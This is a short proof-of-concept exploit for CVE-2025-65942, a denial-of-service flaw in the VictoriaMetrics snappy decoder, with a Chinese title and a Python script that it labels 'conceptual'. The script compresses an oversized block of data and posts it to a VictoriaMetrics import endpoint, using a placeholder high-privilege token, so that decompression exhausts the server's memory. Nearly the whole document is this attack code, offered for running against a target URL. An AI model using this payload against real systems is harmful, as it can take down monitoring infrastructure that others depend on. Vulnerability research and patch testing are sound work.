CVE-2025-65942: VictoriaMetrics snappy解码器拒绝服务漏洞

# PoC for CVE-2025-65942 - VictoriaMetrics Snappy DoS # Note: This is a conceptual PoC demonstrating the attack vector # Requires high-privilege access to VictoriaMetrics import requests import snappy import sys TARGET_URL = "http://target:8428/api/v1/import" MAX_REQUEST_LIMIT = 32 * 1024 * 1024 # 32MB example limit def create_malformed_snappy_block(): """ Create a malformed snappy block that exceeds size limits This triggers excessive memory allocation during decompression """ # Create data larger than MaxRequestLimit oversized_data = b'X' * (MAX_REQUEST_LIMIT * 10) # Compress with snappy - creates a block that will cause # decoder to allocate excessive memory when decompressed compressed = snappy.compress(oversized_data) return compressed def exploit_cve_2025_65942(target_url): """ Send malformed snappy block to trigger DoS """ payload = create_malformed_snappy_block() headers = { 'Content-Type': 'application/x-snappy', 'Authorization': 'Bearer <high-privilege-token>' } print(f"[*] Sending malformed snappy block to {target_url}") print(f"[*] Compressed size: {len(payload)} bytes") print(f"[*] Decompressed size would exceed: {MAX_REQUEST_LIMIT * 10} bytes") try: response = requests.post(target_url, data=payload, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (possibly OOM): {e}") if __name__ == "__main__": if len(sys.argv) > 1: exploit_cve_2025_65942(sys.argv[1]) else: exploit_cve_2025_65942(TARGET_URL)